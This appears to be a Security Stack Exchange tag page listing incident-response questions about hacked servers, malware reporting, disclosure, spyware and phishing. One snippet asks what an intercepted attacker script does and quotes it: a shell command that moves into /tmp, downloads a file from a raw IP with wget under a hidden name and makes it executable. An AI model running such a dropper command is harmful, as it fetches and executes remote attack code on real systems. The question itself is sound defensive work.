Tagged Questions

The art of responding to incidents in an organized and thoughtful manner.

learn more… | top users | synonyms (2)

0
votes
1answer
45 views

What is this weird robot call about? [closed]

I recently moved and changed my landline number. I have been getting unusual robot calls in the evening, the script goes something like this: "Hello. This call is for [name of person I don't know]. ...
5
votes
2answers
118 views

How to evaluate the damage after being hacked [duplicate]

It's well known what measures one should take to prevent hackers from hacking their PC. But are there any steps that allows a user to evaluate the damage done by a hacker? Say that I know for sure ...
2
votes
1answer
63 views

Incident Response Toolkit [closed]

I'm trying to compile a list of tools for incident response. Working on a project to create a package that can be pushed out to a set of workstations. If/when an incident occurs, the IR ...
0
votes
2answers
167 views

Is there any way for me to trace the TeamViewer ID of a machine that hacked in?

I am wondering if there is any list I could access to find TeamViewer ID's, as the police are not being helpful about this.
5
votes
2answers
845 views

Appropriate response to 2014 Russian Security Breach (CyberVor)

The report from Hold Security says that 1.2 billion sets of credentials are in the possession of this party. I have a feeling that this report may be a hoax or a partial hoax due to grammatical errors ...
2
votes
1answer
70 views

How to deal with misbehaving clients on an authoritative server?

My coworker and I are developing an authoritative server for an MMO. We can't agree on how to handle "misbehaving" clients. Misbehaving, in this case, means clients who send "odd" requests that might ...
1
vote
3answers
189 views

As a non-security professional how should I respond when told my site is insecure?

We have a website, and somebody wrote us an email claiming we are insecure! What should I do
7
votes
3answers
161 views

How do I report new malware?

I have a new piece of malware that isn't detected by current anti-virus vendors. How do I report it to them? I want to do a good turn and help protect as many people as possible. What is the best ...
2
votes
0answers
195 views

PGP-encrypted Email or SSL/TLS Webform for Responsible Disclosure Communication?

So it's a fairly simple question. When offering an avenue to security researchers for communication with us regarding disclosure of security vulnerabilities, what's the best way to do so? Assume we ...
11
votes
3answers
1k views

What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
3
votes
1answer
109 views

What is the definition of “multi-failure” disaster recovery?

There are several compliance and certification criteria that mention "multi-failure" disaster recovery. What exactly is the definition of this? A google search did not turn up a clear answer for me.
0
votes
2answers
429 views

What is the incident Plan and Disaster recovery plan for Fire

My boss is asking me to prepare the fire incident Plan(IR) and Disaster recovery plan(DR), and how can we determine it is IR / DR. I am no clue on those issue. What should I do?
2
votes
2answers
90 views

How should we announce vulnerabilities in our application?

I have asked about security release notes Considerations for security release notes I need additional clarification about security vulnerabilities announcement. We create major release of our product ...
6
votes
1answer
115 views

Considerations for security release notes

I need help with understanding how to manage security release notes for our product. We create major release of our product about each half years and security or maintenance releases each month. What ...
0
votes
2answers
94 views

Is there any any security threat due to advertisements?

I was working on my localhost in my computer but I was connected to internet. Recently I downloaded a few music files and since then advertisements are getting popping into my browser through which I ...
38
votes
9answers
6k views

What to do when I found a spyware that my spouse has installed?

Today I was trying to uninstall some application and I was very surprised to see this entry in my applications list Then I try to find what is this and I finally found it in "Program Files". After ...
0
votes
2answers
373 views

Transmitting malicious code over audio speakers

In a post that reads like science-fiction, a security researcher claims that malicious code was being passed between computers. A few quotes: ... "badBIOS," as Ruiu dubbed the malware, has the ...
18
votes
2answers
1k views

Malware that can survive BIOS re-flashing

The well-respected security consultant Dragos Ruiu is reporting that he has been infected with mysterious malware that can survive re-installation of the OS and re-flashing of the OS. In other words, ...
0
votes
3answers
710 views

Elaborate Hacking attempt detected - now what?

I am in the process of developing a php/mysql based web application. I took the complicated route and rather than to use a framework or anything I built the entire foundation of my app from scratch. ...
8
votes
4answers
947 views

I've encountered JavaScript attack code - how do I search for information on the exploit's specifics?

So, I clicked on a reasonably-looking LinkedIn invite, not thinking about hovering overing the link first, since usually the e-mail client warns me about such things. Once I realized I landed on an ...
32
votes
4answers
2k views

Why did my provider reset my password after someone else attempted to gain access to my account?

Recently a provider (of SIP trunking services) I subscribe to sent me a strange email. It claimed that someone in another country attempted to reset the password to my account and was unsuccessful in ...
6
votes
1answer
146 views

How to encourage responsible disclosure (and react appropriately otherwise)

As a conscientious programmer, I put security as one of the core requirements of every product I develop. To prevent flaws from being introduced, I promote a culture of awareness (e.g. make sure that ...
5
votes
3answers
345 views

How I can prove that SSH attacks are not from my application?

My ruby on rails web application is hosted on Linode. Linode opened a ticket and blamed my Linode server for attacking other servers. The logs revealed that it's a SSH brute force attack which ...
4
votes
2answers
496 views

How can I find the malicious/backdoor codes without knowing the last modified date?

Last night my website got hacked and attacker edited the main index.php. I was wondering even he edited that file, the last modified date did not change. so I just worry if he would put the backdoor ...
4
votes
3answers
206 views

Responsible Disclosures and Getting Sued

Lots of websites like Google, Facebook etc acknowledge the white hat hackers on their sites for reporting security vulnerability. But for the vulnerability reporter is it safe from legal perspective ? ...
3
votes
3answers
257 views

Is it advisable to fully record terminal interaction for incident response?

We are going to be using a jump box to serve as an SSH bridge to our production systems. Assuming that operators are actually logging in to a shell on the jump box and assuming that it is possible to ...
4
votes
2answers
181 views

Incident Reporting or Notification Policy domain?

I'm writing a company policy on how employees should handle reports of information security related events and notifications that come from vendors, customers, and from people within our organization. ...
0
votes
1answer
714 views

Penetration testing job entry exam [closed]

What type of hands on tests should I expect in a interview for a entry level penetration tester? And what do examiners expect a candidate to accomplish (i.e. full compromise)? The reason I ask is ...
1
vote
1answer
208 views

Compromised server with psyBNC - what are our next steps?

One of our VPS servers has an install of psybnc on it. The install has been present for quite some time, and has now been brought to our attention. We have backups, but they also have psybnc on them. ...
0
votes
3answers
162 views

If my server was compromised, is my database safe?

I have an AWS instance running a rails app that I don't actively maintain. Since I didn't keep track of what was going on with this app, I didn't update it promptly when all the rails vulnerabilities ...
1
vote
4answers
1k views

My website has been hacked, what do i do next? [closed]

So. I couldn't see any other question like this on Sec.Se so i thought i'd ask. My public website www.foo.com has been hacked. The front page is sending it to be redirected to seoblog.fooblog.com in ...
20
votes
6answers
2k views

Best practices for handling computer viruses

I realize this question may be quite broad (and hopefully not a violation of the FAQs), but I'm interested in hearing how many of you handle a computer infected with Malware. In a small-to-medium ...
3
votes
2answers
2k views

How to satisfy requirement 10.6 of PCI DSS?

The company I'm working for is applying for PCI compliance and I'm in charge of writing most of the required procedures and policies. The problem is that I don't have any experience with IT security, ...
3
votes
2answers
186 views

What goes into an average incident response process for a corporate network?

I'm trying to brush up on the more process-orientated and policy-orientated side of security, and am interested in incident response. I understand that most security-competent businesses have some ...
2
votes
1answer
95 views

Quick Security Mitigations to Impending attacks

Suppose you are the sysadmin, and you know of an impending attack that just started or about to start soon. You can either wait it out, or try a few tricks and quick mitigation to fend off attackers ...
6
votes
2answers
2k views

Will reporting phishing emails cause problems for the victim?

On GMail, I've received a phishing email from someone I know, and the email has been sent to other people the victim knows. One of the emails is claiming to be from their GMail address, while the ...
1
vote
1answer
117 views

How to know what's the type of an attack and from whom is sent?

I'm currently running a game server on a dedicated Windows 7 machine and it is being attacked. How do I know what kind of attack it is and from whom is sent? When he attacks, the RDP freezes and the ...
5
votes
1answer
319 views

Cufon or Prototype as an attack vector for Blackhole exploit kit?

I've been asked to look into the security of a client site that's apparently throwing antiviral messages when visited. Specifics: It's being detected as a Blackhole exploit kit inside of a Cufon ...
-1
votes
1answer
397 views

Extremely suspicious phone call — what to do? [closed]

Two days ago, I received a call. Someone with a female, possibly asian voice asked "are you using your computer in internet right now." I said "yes", then asked "who are you?". At this point, they ...
35
votes
5answers
1k views

How do I respond to a published security vulnerability in my application?

In my spare time I write some PHP code the purpose of which is to block link spam and other various malicious activity. On May 11 someone who discovered an XSS vulnerability in the WordPress version ...
3
votes
2answers
950 views

How do I run a security check on my WordPress server?

I have a cloud-based server running with CentOS 6.0 and CSF installed. Today I got a message from my host that one of my WordPress installations is hacked and used for phishing. But I don't know how ...
3
votes
2answers
181 views

Ftp constantly asked for a .exe file, what can i do?

I rent a web server ("service") at a web hosting site which recently i assume got hacked but i am unsure how... I know it got hacked because recently out of the blue certain files and folder appeared ...
4
votes
3answers
709 views

What are the risks of posting my email address to pwnedlist.com?

pwnedlist.com claims to have details of over 23 million accounts that have been hacked, and if you submit your email address they'll apparently tell you if you're in the database. Are the people ...
4
votes
1answer
580 views

Outbound TFTP request to 255.255.255.255

Recently snort notified me that I have a user's computer on my network initiating an outbound TFTP request. The odd thing is the destination is 255.255.255.255 Anyone have a clue as to what this may ...
3
votes
4answers
2k views

Determining the point of compromise on an infected web server?

Recently a friend of mine has had his web server compromised - all PHP files were injected with malicious code, in particular one that looks to be called "GetMama". If I look this up, it seems that ...
-2
votes
3answers
423 views

Why bother with attack detection?

The question below goes from a wrong assumption that attacker is able to spoof IP when making HTTP connection. But attacker isn't able to spoof IP if he doesn't have direct access to connection ...
3
votes
1answer
212 views

eBay account compromised/Credit Card used/Hosts files changed

To preface this, I'd just like to let you know that I'd consider myself an intermediate security guy(Definitely not a novice, not yet an expert) I do have a story to tell, and would like to know if ...
0
votes
1answer
114 views

Is there a Snort rule that equates to “something suspicious flagged from a client side application?”

The reasoning is what if an enterprise monitors snort alerts more-so than say syslog. Is there a specific pre-defined alert for 'client side app says something fishy is going on'?
0
votes
2answers
296 views

Unexplained downloading

I was just watching as my bandwidth monitor spiked downloading a file. I checked my current netstat and I didn't recognize one of the IPs so I started capturing the data with Wireshark. The ...
5
votes
2answers
6k views

How can I detect/withstand DNS amplification attack?

I am a developer, and I am trying to get an insight into what could I do to enable my application to withstand a DNS amplification kind of attacks. Would such prevention methods help against DOS type ...